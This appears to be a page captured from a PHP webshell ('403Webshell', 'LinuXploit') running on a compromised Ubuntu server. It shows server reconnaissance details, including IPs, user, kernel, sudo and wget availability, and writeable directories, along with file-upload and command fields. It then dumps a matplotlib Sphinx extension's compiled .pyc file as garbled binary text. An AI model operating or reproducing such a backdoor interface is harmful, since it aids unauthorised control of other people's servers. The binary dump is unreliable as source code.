403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.117
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/sphinxext/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/sphinxext/__pycache__/mathmpl.cpython-312.pyc
�

G8�c$��
�dZddlZddlmZddlmZddlmZmZddl	Z	ddl
mZmZddl
Zddl
mZmZddlmZGd	�d
ej&ej(�Zd�Zigfd�Zeed
�e_Gd�de�Zdd�Zd�Zd�Zd�Zy)a�
A role and directive to display mathtext in Sphinx
==================================================

.. warning::
    In most cases, you will likely want to use one of `Sphinx's builtin Math
    extensions
    <https://www.sphinx-doc.org/en/master/usage/extensions/math.html>`__
    instead of this one.

Mathtext may be included in two ways:

1. Inline, using the role::

     This text uses inline math: :mathmpl:`\alpha > \beta`.

   which produces:

     This text uses inline math: :mathmpl:`\alpha > \beta`.

2. Standalone, using the directive::

     Here is some standalone math:

     .. mathmpl::

         \alpha > \beta

   which produces:

     Here is some standalone math:

     .. mathmpl::

         \alpha > \beta

Options
-------

The ``mathmpl`` role and directive both support the following options:

    fontset : str, default: 'cm'
        The font set to use when displaying math. See :rc:`mathtext.fontset`.

    fontsize : float
        The font size, in points. Defaults to the value from the extension
        configuration option defined below.

Configuration options
---------------------

The mathtext extension has the following configuration options:

    mathmpl_fontsize : float, default: 10.0
        Default font size, in points.

    mathmpl_srcset : list of str, default: []
        Additional image sizes to generate when embedding in HTML, to support
        `responsive resolution images
        <https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images>`__.
        The list should contain additional x-descriptors (``'1.5x'``, ``'2x'``,
        etc.) to generate (1x is the default and always included.)

�N)�Path)�nodes)�	Directive�
directives)�ConfigError�ExtensionError)�_api�mathtext)�validate_float_or_Nonec��eZdZy)�
latex_mathN)�__name__�
__module__�__qualname__���>/usr/lib/python3/dist-packages/matplotlib/sphinxext/mathmpl.pyr
r
Ps��rr
c�^�tj|tjj�S�N)r�choicer
�MathTextParser�_font_type_mapping)�args r�fontset_choicerTs!�����S�(�"9�"9�"L�"L�M�Mrc��|jd�}||dzd}t|�}	||	d<|jdd�|	d<|jdtjj
j�|	d<|	ggfS)N�`�����latex�fontset�cm�fontsize)�findr
�get�setup�app�config�mathmpl_fontsize)
�role�rawtext�text�lineno�inliner�options�content�ir�nodes
          r�	math_roler2Xs{�����S��A��A�a�C��O�E��g��D��D��M��k�k�)�T�2�D��O��{�{�:�#(�9�9�#3�#3�#D�#D�F�D����6�2�:�r�r r"c�0�eZdZdZdZdZdZdZee	d�Z
d�Zy)�
MathDirectivezR
    The ``.. mathmpl::`` directive, as documented in the module's docstring.
    TrFr3c�2�dj|j�}t|j�}||d<|jjdd�|d<|jjdtjjj�|d<|gS)N�rr r!r")
�joinr/r
�
block_textr.r$r%r&r'r()�selfrr1s   r�runzMathDirective.runqs{��������%���$�/�/�*����W�
��,�,�*�*�9�d�;��Y���<�<�+�+�J�,1�I�I�,<�,<�,M�,M�O��Z���v�
rN)rrr�__doc__�has_content�required_arguments�optional_arguments�final_argument_whitespacerr�option_specr;rrrr5r5fs2����K����� %��,�5�7�K�rr5c���tj||d��5	tjd|�d�||d��}ddd�|S#t$rtjd|���d}Y�/wxYw#1swYSxYw)N)zmathtext.fontsetz	font.size�$�png)�dpi�formatz!Could not render math expression r)�mpl�
rc_contextr
�
math_to_image�	Exceptionr	�
warn_external)r�filenamer r"rE�depths      r�	latex2pngrN|s���	���W�8�L�	M��	��*�*��E�7�!��h�C��?�E���L���	����!B�5�'�J�K��E�	��	��L�s(�A+�A�#A(�%A+�'A(�(A+�+A5c
��t|jtj�}|d}|d}|d}dj	tj|�|�|��j��j�dd�}ttjjjdd�}|jdd�	�||�d
�z}t||||��}	g}
tjj j"D]w}|�d|j%d
d��d
�}t|||z||dt'|dd�z��|
j)tjjj*�d|�d|����y|
r@dtjjj*�d|�d�dj-|
�zdz}
|rd}
nd}
|r|	dk7r	d|	dzz}nd}dtjjj*�d|�d|
�|
�|�d�	S) Nrr r"zmath-{}i�����_images�mathmplT)�parents�exist_okz.png)r"�-�.�_�dr)r"rEz	/mathmpl/� zsrcset="z.png, z, z" r7zclass="center" rz)style="position: relative; bottom: -%dpx"rz
<img src="z.png" z/>)�
isinstance�parentr�TextElementrF�hashlib�md5�encode�	hexdigestrr%r&�builder�outdir�mkdirrNr'�mathmpl_srcset�replace�float�append�imgpathr8)r1�source�inlinerr r"�name�destdir�destrM�srcset�sizerL�cls�styles               r�
latex2htmlrq�s��
����U�%6�%6�
7�F���M�E��9�o�G��J��H�������u�g�g�Y�x�j�1�8�8�:�;�E�E�G���M�O�D��5�9�9�$�$�+�+�Y�	�B�G��M�M�$��M�.���v�T�]�"�D��e�T�7�X�>�E�
�F��	�	� � �/�/�F���V�1�T�\�\�#�s�3�4�D�9���%��8�+�W�x��E�$�s��)�,�,�	.��
�
��y�y� � �(�(�)��8�*�A�d�V�D�	F�	F���U�Y�Y�.�.�6�6�7�y���f�M��)�)�F�#�$�&*�+�������
�%�1�*�;�u�q�y�I��������*�*�2�2�3�9�T�F�C��x��u�U�G�2�
'�(rc���t|jj�D]+\}}|ddk(r	t|dd��td|�d���y#t$rtd|�d���wxYw)Nr�xz,Invalid value for mathmpl_srcset parameter: ze. Must be a list of strings with the multiplicative factor followed by an "x".  e.g. ["2.0x", "1.5x"])�	enumerater'rcre�
ValueErrorr)r&r'r0rns    r�_config_initedrv�s����S�Z�Z�6�6�7�
E���4���8�s�?�
I��d�3�B�i� ��>�t�h�GD�D�E�
E�
E���
I�!�B�4�(�KH�H�I�I�
I�s�A�A(c�
�|t_|jddd�|jdgd�	|jdt�d�}d	�}d
�}d�}|j
t||f||f��|jd
t�|jd
t�tjdkr,|jdt�|jdt�ddd�}|S#t
$r|jdd��Y��wxYw)Nr(g$@Trcz
config-initedzenv-updatedc��t|d�Sr)rv)r&�envs  r�<lambda>zsetup.<locals>.<lambda>�s
��N�3��4M�rc��|jjd}|jjt	||��y)Nrh)�document�
attributes�bodyrfrq)r:r1rhs   r�visit_latex_math_htmlz$setup.<locals>.visit_latex_math_html�s/�����)�)�(�3���	�	����D�&�1�2rc��yrr�r:r1s  r�depart_latex_math_htmlz%setup.<locals>.depart_latex_math_html����rc���t|jtj�}|r"|jjd|dz�y|jj
d|ddg�y)Nz$%s$rz\begin{equation}z\end{equation})rYrZrr[r~rf�extend)r:r1ris   r�visit_latex_math_latexz%setup.<locals>.visit_latex_math_latex�sZ���D�K�K��):�):�;����I�I���V�d�7�m�3�4��I�I���1�"�7�m�/�1�
2rc��yrrr�s  r�depart_latex_math_latexz&setup.<locals>.depart_latex_math_latex�r�r)�htmlrrQ)r��math)�parallel_read_safe�parallel_write_safe)r%r&�add_config_value�connectrvr�add_noder
�add_roler2�
add_directiver5�sphinx�version_info)r&rr�r�r��metadatas      rr%r%�s����E�I����+�T�4�8����)�2�t�4�O����O�^�4�
3�
�2�
��L�L��,�.D�E�.�0G�H��J��L�L��I�&����i��/�
���V�#����V�Y�'����&�-�0�&*�4�H�H��O��E�O����M�#M�N�O�s�C#�#D�D)r!�
rW)r<r\�pathlibr�docutilsr�docutils.parsers.rstrrr��
sphinx.errorsrr�
matplotlibrGr	r
�matplotlib.rcsetupr�General�Elementr
rr2r.r5rNrqrvr%rrr�<module>r�s���?�B���6�
�5��%�5�	�����
�
�	�N�
�"�	�!/�!7�9�	���I��,�#(�LE�$(r

Youez - 2016 - github.com/yon3zu
LinuXploit